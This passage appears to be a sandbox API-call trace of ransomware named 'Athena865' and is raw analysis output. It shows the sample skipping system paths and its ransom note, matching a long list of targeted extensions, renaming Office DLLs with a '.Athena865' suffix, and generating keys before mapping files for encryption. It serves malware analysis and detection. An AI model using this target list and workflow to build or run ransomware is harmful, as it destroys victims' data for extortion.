(lpString="cdb") returned 3 [0073.255] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0073.255] lstrlenW (lpString="ckp") returned 3 [0073.255] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0073.255] lstrlenW (lpString="cma") returned 3 [0073.255] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0073.255] lstrlenW (lpString="cpd") returned 3 [0073.255] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0073.255] lstrlenW (lpString="dacpac") returned 6 [0073.255] lstrcmpiW (lpString1="TE.DLL", lpString2="dacpac") returned 1 [0073.255] lstrlenW (lpString="dad") returned 3 [0073.255] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0073.255] lstrlenW (lpString="dadiagrams") returned 10 [0073.255] lstrcmpiW (lpString1="TLDATE.DLL", lpString2="dadiagrams") returned 1 [0073.255] lstrlenW (lpString="daschema") returned 8 [0073.255] lstrcmpiW (lpString1="DATE.DLL", lpString2="daschema") returned 1 [0073.255] lstrlenW (lpString="db-journal") returned 10 [0073.255] lstrcmpiW (lpString1="TLDATE.DLL", lpString2="db-journal") returned 1 [0073.255] lstrlenW (lpString="db-shm") returned 6 [0073.255] lstrcmpiW (lpString1="TE.DLL", lpString2="db-shm") returned 1 [0073.255] lstrlenW (lpString="db-wal") returned 6 [0073.255] lstrcmpiW (lpString1="TE.DLL", lpString2="db-wal") returned 1 [0073.255] lstrlenW (lpString="dbc") returned 3 [0073.256] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0073.256] lstrlenW (lpString="dbs") returned 3 [0073.256] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0073.256] lstrlenW (lpString="dbt") returned 3 [0073.256] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0073.256] lstrlenW (lpString="dbv") returned 3 [0073.256] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0073.256] lstrlenW (lpString="dbx") returned 3 [0073.256] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0073.256] lstrlenW (lpString="dcb") returned 3 [0073.256] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0073.256] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\INTLDATE.DLL.Athena865") returned 65 [0073.256] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\INTLDATE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\intldate.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\INTLDATE.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\intldate.dll.athena865"), dwFlags=0x1) returned 1 [0073.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\INTLDATE.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\intldate.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0073.263] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=95104) returned 1 [0073.263] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0073.263] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0073.263] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0073.263] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0073.264] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0073.264] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0073.264] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x17680, lpName=0x0) returned 0x17c [0073.267] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x17680) returned 0x100000 [0073.288] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0073.289] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0073.289] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0073.289] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0073.289] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0073.289] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0073.289] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0073.289] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0073.289] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0073.289] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0073.289] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0073.289] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0073.289] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0073.289] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0073.290] CloseHandle (hObject=0x17c) returned 1 [0073.290] CloseHandle (hObject=0x154) returned 1 [0073.290] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0073.290] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0073.290] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0073.292] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36330000, ftCreationTime.dwHighDateTime=0x1cacf91, ftLastAccessTime.dwLowDateTime=0x64a2d290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36330000, ftLastWriteTime.dwHighDateTime=0x1cacf91, nFileSizeHigh=0x0, nFileSizeLow=0x98b578, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IPDESIGN.DLL", cAlternateFileName="")) returned 1 [0073.292] lstrcmpiW (lpString1="IPDESIGN.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0073.292] lstrcmpiW (lpString1="IPDESIGN.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0073.292] lstrcmpiW (lpString1="IPDESIGN.DLL", lpString2=".") returned 1 [0073.292] lstrcmpiW (lpString1="IPDESIGN.DLL", lpString2="..") returned 1 [0073.292] lstrcmpiW (lpString1="IPDESIGN.DLL", lpString2="windows") returned -1 [0073.292] lstrcmpiW (lpString1="IPDESIGN.DLL", lpString2="bootmgr") returned 1 [0073.292] lstrcmpiW (lpString1="IPDESIGN.DLL", lpString2="temp") returned -1 [0073.292] lstrcmpiW (lpString1="IPDESIGN.DLL", lpString2="pagefile.sys") returned -1 [0073.292] lstrcmpiW (lpString1="IPDESIGN.DLL", lpString2="boot") returned 1 [0073.292] lstrcmpiW (lpString1="IPDESIGN.DLL", lpString2="ids.txt") returned 1 [0073.292] lstrcmpiW (lpString1="IPDESIGN.DLL", lpString2="ntuser.dat") returned -1 [0073.292] lstrcmpiW (lpString1="IPDESIGN.DLL", lpString2="perflogs") returned -1 [0073.292] lstrcmpiW (lpString1="IPDESIGN.DLL", lpString2="MSBuild") returned -1 [0073.292] lstrlenW (lpString="IPDESIGN.DLL") returned 12 [0073.292] lstrcpyW (in: lpString1=0x241e89e, lpString2="IPDESIGN.DLL" | out: lpString1="IPDESIGN.DLL") returned="IPDESIGN.DLL" [0073.292] lstrlenW (lpString="IPDESIGN.DLL") returned 12 [0073.292] lstrlenW (lpString="Athena865") returned 9 [0073.292] lstrcmpiW (lpString1="ESIGN.DLL", lpString2="Athena865") returned 1 [0073.292] lstrlenW (lpString=".dll") returned 4 [0073.292] lstrcmpiW (lpString1="IPDESIGN.DLL", lpString2=".dll") returned 1 [0073.292] lstrlenW (lpString=".lnk") returned 4 [0073.292] lstrcmpiW (lpString1="IPDESIGN.DLL", lpString2=".lnk") returned 1 [0073.292] lstrlenW (lpString=".ini") returned 4 [0073.292] lstrcmpiW (lpString1="IPDESIGN.DLL", lpString2=".ini") returned 1 [0073.292] lstrlenW (lpString=".sys") returned 4 [0073.292] lstrcmpiW (lpString1="IPDESIGN.DLL", lpString2=".sys") returned 1 [0073.292] lstrlenW (lpString="IPDESIGN.DLL") returned 12 [0073.293] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\IPDESIGN.DLL.Athena865") returned 65 [0073.293] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPDESIGN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\ipdesign.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPDESIGN.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\ipdesign.dll.athena865"), dwFlags=0x1) returned 1 [0073.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPDESIGN.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\ipdesign.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0073.305] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10007928) returned 1 [0073.305] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0073.305] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0073.305] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0073.306] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0073.306] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0073.306] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0073.307] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x98b880, lpName=0x0) returned 0x17c [0073.308] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x800000, dwNumberOfBytesToMap=0x18b880) returned 0x2d50000 [0073.528] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0073.604] UnmapViewOfFile (lpBaseAddress=0x3160000) returned 1 [0073.622] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0073.623] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0073.623] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0073.623] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0073.623] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0073.623] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0073.623] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0073.623] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0073.623] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0073.623] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0073.624] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0073.624] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0073.624] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0073.624] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0073.638] CloseHandle (hObject=0x17c) returned 1 [0073.638] CloseHandle (hObject=0x154) returned 1 [0073.638] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0073.638] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0073.638] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0073.647] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3501d300, ftCreationTime.dwHighDateTime=0x1cacf91, ftLastAccessTime.dwLowDateTime=0x64cdab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3501d300, ftLastWriteTime.dwHighDateTime=0x1cacf91, nFileSizeHigh=0x0, nFileSizeLow=0x8a4d70, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IPEDITOR.DLL", cAlternateFileName="")) returned 1 [0073.647] lstrcmpiW (lpString1="IPEDITOR.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0073.647] lstrcmpiW (lpString1="IPEDITOR.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0073.647] lstrcmpiW (lpString1="IPEDITOR.DLL", lpString2=".") returned 1 [0073.647] lstrcmpiW (lpString1="IPEDITOR.DLL", lpString2="..") returned 1 [0073.647] lstrcmpiW (lpString1="IPEDITOR.DLL", lpString2="windows") returned -1 [0073.647] lstrcmpiW (lpString1="IPEDITOR.DLL", lpString2="bootmgr") returned 1 [0073.647] lstrcmpiW (lpString1="IPEDITOR.DLL", lpString2="temp") returned -1 [0073.647] lstrcmpiW (lpString1="IPEDITOR.DLL", lpString2="pagefile.sys") returned -1 [0073.647] lstrcmpiW (lpString1="IPEDITOR.DLL", lpString2="boot") returned 1 [0073.647] lstrcmpiW (lpString1="IPEDITOR.DLL", lpString2="ids.txt") returned 1 [0073.647] lstrcmpiW (lpString1="IPEDITOR.DLL", lpString2="ntuser.dat") returned -1 [0073.647] lstrcmpiW (lpString1="IPEDITOR.DLL", lpString2="perflogs") returned -1 [0073.647] lstrcmpiW (lpString1="IPEDITOR.DLL", lpString2="MSBuild") returned -1 [0073.647] lstrlenW (lpString="IPEDITOR.DLL") returned 12 [0073.647] lstrcpyW (in: lpString1=0x241e89e, lpString2="IPEDITOR.DLL" | out: lpString1="IPEDITOR.DLL") returned="IPEDITOR.DLL" [0073.647] lstrlenW (lpString="IPEDITOR.DLL") returned 12 [0073.647] lstrlenW (lpString="Athena865") returned 9 [0073.647] lstrcmpiW (lpString1="DITOR.DLL", lpString2="Athena865") returned 1 [0073.647] lstrlenW (lpString=".dll") returned 4 [0073.647] lstrcmpiW (lpString1="IPEDITOR.DLL", lpString2=".dll") returned 1 [0073.647] lstrlenW (lpString=".lnk") returned 4 [0073.647] lstrcmpiW (lpString1="IPEDITOR.DLL", lpString2=".lnk") returned 1 [0073.647] lstrlenW (lpString=".ini") returned 4 [0073.647] lstrcmpiW (lpString1="IPEDITOR.DLL", lpString2=".ini") returned 1 [0073.648] lstrlenW (lpString=".sys") returned 4 [0073.648] lstrcmpiW (lpString1="IPEDITOR.DLL", lpString2=".sys") returned 1 [0073.648] lstrlenW (lpString="IPEDITOR.DLL") returned 12 [0073.648] lstrlenW (lpString="bak") returned 3 [0073.648] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0073.648] lstrlenW (lpString="ba_") returned 3 [0073.648] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0073.648] lstrlenW (lpString="dbb") returned 3 [0073.648] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0073.648] lstrlenW (lpString="vmdk") returned 4 [0073.648] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0073.648] lstrlenW (lpString="rar") returned 3 [0073.648] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0073.648] lstrlenW (lpString="zip") returned 3 [0073.648] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0073.648] lstrlenW (lpString="tgz") returned 3 [0073.648] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0073.648] lstrlenW (lpString="vbox") returned 4 [0073.648] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0073.648] lstrlenW (lpString="vdi") returned 3 [0073.648] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0073.648] lstrlenW (lpString="vhd") returned 3 [0073.648] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0073.648] lstrlenW (lpString="vhdx") returned 4 [0073.648] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0073.648] lstrlenW (lpString="avhd") returned 4 [0073.648] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0073.648] lstrlenW (lpString="db") returned 2 [0073.648] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0073.648] lstrlenW (lpString="db2") returned 3 [0073.648] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0073.648] lstrlenW (lpString="db3") returned 3 [0073.648] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0073.649] lstrlenW (lpString="dbf") returned 3 [0073.649] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0073.649] lstrlenW (lpString="mdf") returned 3 [0073.649] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0073.649] lstrlenW (lpString="mdb") returned 3 [0073.649] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0073.649] lstrlenW (lpString="sql") returned 3 [0073.649] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0073.649] lstrlenW (lpString="sqlite") returned 6 [0073.649] lstrcmpiW (lpString1="OR.DLL", lpString2="sqlite") returned -1 [0073.649] lstrlenW (lpString="sqlite3") returned 7 [0073.649] lstrcmpiW (lpString1="TOR.DLL", lpString2="sqlite3") returned 1 [0073.649] lstrlenW (lpString="sqlitedb") returned 8 [0073.649] lstrcmpiW (lpString1="ITOR.DLL", lpString2="sqlitedb") returned -1 [0073.649] lstrlenW (lpString="xml") returned 3 [0073.649] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0073.649] lstrlenW (lpString="$er") returned 3 [0073.649] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0073.649] lstrlenW (lpString="4dd") returned 3 [0073.649] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0073.649] lstrlenW (lpString="4dl") returned 3 [0073.649] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0073.649] lstrlenW (lpString="^^^") returned 3 [0073.649] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0073.649] lstrlenW (lpString="abs") returned 3 [0073.649] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0073.649] lstrlenW (lpString="abx") returned 3 [0073.649] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0073.649] lstrlenW (lpString="accdb") returned 5 [0073.649] lstrcmpiW (lpString1="R.DLL", lpString2="accdb") returned 1 [0073.649] lstrlenW (lpString="accdc") returned 5 [0073.649] lstrcmpiW (lpString1="R.DLL", lpString2="accdc") returned 1 [0073.650] lstrlenW (lpString="accde") returned 5 [0073.650] lstrcmpiW (lpString1="R.DLL", lpString2="accde") returned 1 [0073.650] lstrlenW (lpString="accdr") returned 5 [0073.650] lstrcmpiW (lpString1="R.DLL", lpString2="accdr") returned 1 [0073.650] lstrlenW (lpString="accdt") returned 5 [0073.650] lstrcmpiW (lpString1="R.DLL", lpString2="accdt") returned 1 [0073.650] lstrlenW (lpString="accdw") returned 5 [0073.650] lstrcmpiW (lpString1="R.DLL", lpString2="accdw") returned 1 [0073.650] lstrlenW (lpString="accft") returned 5 [0073.650] lstrcmpiW (lpString1="R.DLL", lpString2="accft") returned 1 [0073.650] lstrlenW (lpString="adb") returned 3 [0073.650] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0073.650] lstrlenW (lpString="adb") returned 3 [0073.650] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0073.650] lstrlenW (lpString="ade") returned 3 [0073.650] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0073.650] lstrlenW (lpString="adf") returned 3 [0073.650] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0073.650] lstrlenW (lpString="adn") returned 3 [0073.650] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0073.650] lstrlenW (lpString="adp") returned 3 [0073.650] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0073.650] lstrlenW (lpString="alf") returned 3 [0073.650] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0073.650] lstrlenW (lpString="ask") returned 3 [0073.650] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0073.650] lstrlenW (lpString="btr") returned 3 [0073.650] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0073.650] lstrlenW (lpString="cat") returned 3 [0073.650] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0073.650] lstrlenW (lpString="cdb") returned 3 [0073.651] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0073.651] lstrlenW (lpString="ckp") returned 3 [0073.651] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0073.651] lstrlenW (lpString="cma") returned 3 [0073.651] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0073.651] lstrlenW (lpString="cpd") returned 3 [0073.651] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0073.651] lstrlenW (lpString="dacpac") returned 6 [0073.651] lstrcmpiW (lpString1="OR.DLL", lpString2="dacpac") returned 1 [0073.651] lstrlenW (lpString="dad") returned 3 [0073.651] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0073.651] lstrlenW (lpString="dadiagrams") returned 10 [0073.651] lstrcmpiW (lpString1="EDITOR.DLL", lpString2="dadiagrams") returned 1 [0073.651] lstrlenW (lpString="daschema") returned 8 [0073.651] lstrcmpiW (lpString1="ITOR.DLL", lpString2="daschema") returned 1 [0073.651] lstrlenW (lpString="db-journal") returned 10 [0073.651] lstrcmpiW (lpString1="EDITOR.DLL", lpString2="db-journal") returned 1 [0073.651] lstrlenW (lpString="db-shm") returned 6 [0073.651] lstrcmpiW (lpString1="OR.DLL", lpString2="db-shm") returned 1 [0073.651] lstrlenW (lpString="db-wal") returned 6 [0073.651] lstrcmpiW (lpString1="OR.DLL", lpString2="db-wal") returned 1 [0073.651] lstrlenW (lpString="dbc") returned 3 [0073.651] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0073.651] lstrlenW (lpString="dbs") returned 3 [0073.651] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0073.651] lstrlenW (lpString="dbt") returned 3 [0073.651] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0073.651] lstrlenW (lpString="dbv") returned 3 [0073.651] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0073.651] lstrlenW (lpString="dbx") returned 3 [0073.651] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0073.651] lstrlenW (lpString="dcb") returned 3 [0073.652] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0073.652] lstrlenW (lpString="dct") returned 3 [0073.652] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0073.652] lstrlenW (lpString="dcx") returned 3 [0073.652] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0073.652] lstrlenW (lpString="ddl") returned 3 [0073.652] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0073.652] lstrlenW (lpString="dlis") returned 4 [0073.652] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0073.652] lstrlenW (lpString="dp1") returned 3 [0073.652] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0073.652] lstrlenW (lpString="dqy") returned 3 [0073.652] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0073.652] lstrlenW (lpString="dsk") returned 3 [0073.652] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0073.652] lstrlenW (lpString="dsn") returned 3 [0073.652] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0073.652] lstrlenW (lpString="dtsx") returned 4 [0073.652] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0073.652] lstrlenW (lpString="dxl") returned 3 [0073.652] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0073.652] lstrlenW (lpString="eco") returned 3 [0073.652] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0073.652] lstrlenW (lpString="ecx") returned 3 [0073.652] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0073.652] lstrlenW (lpString="edb") returned 3 [0073.652] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0073.652] lstrlenW (lpString="epim") returned 4 [0073.652] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0073.652] lstrlenW (lpString="fcd") returned 3 [0073.652] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0073.652] lstrlenW (lpString="fdb") returned 3 [0073.653] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0073.653] lstrlenW (lpString="fic") returned 3 [0073.653] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0073.653] lstrlenW (lpString="flexolibrary") returned 12 [0073.653] lstrlenW (lpString="fm5") returned 3 [0073.653] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0073.653] lstrlenW (lpString="fmp") returned 3 [0073.653] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0073.653] lstrlenW (lpString="fmp12") returned 5 [0073.653] lstrcmpiW (lpString1="R.DLL", lpString2="fmp12") returned 1 [0073.653] lstrlenW (lpString="fmpsl") returned 5 [0073.653] lstrcmpiW (lpString1="R.DLL", lpString2="fmpsl") returned 1 [0073.653] lstrlenW (lpString="fol") returned 3 [0073.653] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0073.653] lstrlenW (lpString="fp3") returned 3 [0073.653] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0073.653] lstrlenW (lpString="fp4") returned 3 [0073.653] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0073.653] lstrlenW (lpString="fp5") returned 3 [0073.653] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0073.653] lstrlenW (lpString="fp7") returned 3 [0073.653] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0073.653] lstrlenW (lpString="fpt") returned 3 [0073.653] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0073.653] lstrlenW (lpString="frm") returned 3 [0073.653] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0073.653] lstrlenW (lpString="gdb") returned 3 [0073.653] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0073.653] lstrlenW (lpString="gdb") returned 3 [0073.653] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0073.653] lstrlenW (lpString="grdb") returned 4 [0073.653] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0073.653] lstrlenW (lpString="gwi") returned 3 [0073.654] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0073.654] lstrlenW (lpString="hdb") returned 3 [0073.654] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0073.654] lstrlenW (lpString="his") returned 3 [0073.654] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0073.654] lstrlenW (lpString="ib") returned 